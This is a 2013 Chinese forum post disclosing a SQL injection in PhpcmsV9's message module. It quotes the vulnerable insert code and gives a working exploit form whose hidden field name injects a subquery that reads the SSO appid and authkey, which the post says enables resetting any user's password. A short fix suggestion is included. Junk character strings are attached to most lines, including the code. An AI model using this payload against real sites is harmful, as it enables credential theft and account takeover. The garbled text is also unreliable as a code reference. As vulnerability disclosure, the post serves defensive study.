找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2134|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
* m9 m" f+ W& Y9 c' H/ @6 z: E* I7 e2 b0 T3 e+ |) k; i/ E6 Q
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
0 C8 U$ n! M/ e* Y$ x. @  R" S  h9 k& M0 e1 U0 }- v7 P
明天再更新下一个漏洞。& I( x, [+ o9 t( {/ w# [
详细说明:
0 g$ s5 |, J: i/ A/ H; l在/phpcms9/phpcms/modules/message/index.php中有代码如下:" {/ l+ `, v' `7 p# D; D  ^- ?

7 u, q9 u  v7 v7 z6 _$messageid = $this->message_db->insert($_POST['info'],true);# Y: Y% z2 W: Q7 f3 X

: E9 x: a- r7 M" _2 n! f
, L/ m0 H3 |" v- E; W) p0 ~insert方法是key value的,代码如下:
- ^( g2 g3 |* w6 O* y+ P! k7 e" z2 O* K4 R* O" F: F
public function insert($data, $table, $return_insert_id = false, $replace = false) {8 ]6 f) D& t% d$ D
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
: u3 g2 {5 V8 M3 X. p5 R                        return false;8 b! I2 S6 u( Q3 B8 _8 r" h
                }
# i& o( D$ A& d/ o8 k                3 b: |. H$ S9 B1 S; o6 J; K8 @
                $fielddata = array_keys($data);- o/ @( R# `8 T# ~4 M- M) a( [
                $valuedata = array_values($data);0 O# e" P$ e% A- O1 N0 ?
                array_walk($fielddata, array($this, 'add_special_char'));' a6 r: }3 a' m. l6 ^4 T! @1 M
                array_walk($valuedata, array($this, 'escape_string'));
1 U2 l4 {( ^# `6 d5 K7 J                - o; ]& u% c7 q4 s8 D* R8 B
                $field = implode (',', $fielddata);) W( _! m; J) P" d4 L
                $value = implode (',', $valuedata);
$ e' ~' c7 O! x" [
& k: ~, y' ?* @$ @/ x                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
% v3 Z0 R0 S) m0 l- d                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
  v: `8 _/ S: G+ {% j( C                $return = $this->execute($sql);
* z- Z! D- M; N) c5 `! t" X. t* g                return $return_insert_id ? $this->insert_id() : $return;" X8 A2 ~% }& u% S( O
        }
( |" M7 K0 h/ ^
) r( C% C9 r. Z# ~
; o4 c3 ^* l6 d0 W, k! C嗯,很遗憾的是2 k+ u3 L; ^) x$ r) e

7 q0 H% V( f" [. w2 W& C( x% Larray_walk($fielddata, array($this, 'add_special_char'));
, O3 n4 G8 K/ L2 c! L! ^( X' Y  z5 t7 B

) i. T6 Y& d& o0 Y中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。. O8 a7 {, E' W
  ~( j. ]* E& C
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。4 N6 D5 R4 B, c* v- J$ j; ], M
3 O$ p( \# N. Q5 J; H9 ^6 z
漏洞证明:9 v% _6 i: L/ P, H% e" T6 H
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。$ H3 d, N7 E1 A! ]" N
3 v: `( W$ }/ i1 o

- H9 j7 e9 A& L4 z, ?表单如下:用户名什么的得自己改一改。
$ W6 A! x1 \% {% z6 K<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">' K' Q# R* x# r% v
<table width="100%" cellspacing="0" class="table_form">) z" ?6 V! W( i3 ^
<tr>+ D" S  T/ p/ N0 g( C( f3 ]
<th>标 题:</th>
; A0 b" e2 o6 p7 X<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
8 o$ I6 ?7 q/ d</tr>
; Z* a* T$ M- Y3 i" |% k<tr>
# i/ Y8 v+ h! E6 c9 a+ p4 h<th>内 容:</th>; @8 m, q1 p1 |& t0 P9 S/ e* ?
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>6 z# Q: `" w; M7 x# V9 A: I
</tr>* H0 Q9 a5 I/ D+ @- Y& d( U
<input type="hidden" name="info[replyid]" value="2" /> , q# b* N7 x2 y
<input type="hidden" name="info[send_to_id]" value="cc" /> 2 N" t, _3 s$ C. X6 ~
<input type="hidden" name="info[send_from_id]" value="hh">
7 b4 y/ w" ?- B<!-- 漏洞的利用重点在这里开始 -->
' }# |7 ]- }8 S; R" l# Z<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
) x2 m# Y# B# Y% |) b' b<!-- 漏洞的利用重点在这里结束 -->* L; w7 ~/ J" C3 _
<tr>9 h' v* b: \. ~% Q9 W
<th>验证码:</th>
6 h# G. @* n( [<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
# P6 V  ~& t0 L1 E# L% U: w</tr>
4 G: ~3 X3 \2 ^<tr>
$ y. Q# `( J1 H1 \7 @- X3 K<td></td>
; o, f$ [2 u2 `$ ~3 O$ Q. K' F<td colspan="2"><label>
6 ?8 T; X& h! H2 A<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
; O  ~( V: ~8 S0 D4 B% Y</label></td>
" {; F% ~0 Y; f! n) Y5 E</tr>% X' d; K" j+ E, c; k  b* [& K
</table>. E  ?6 ^- Y7 ^! K6 p4 S5 z
</form>
, ^: x8 _& X) c8 ^; ?# N7 k: F在add_special_char函数内对key做过滤就可以了。
3 x* ?, O- i2 n4 g3 V) D/ r) t- S, ~1 p6 k( m) v! M" \. j

- n9 o% _  |; T0 }9 g8 o  U# u5 r) w) w( \1 x

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表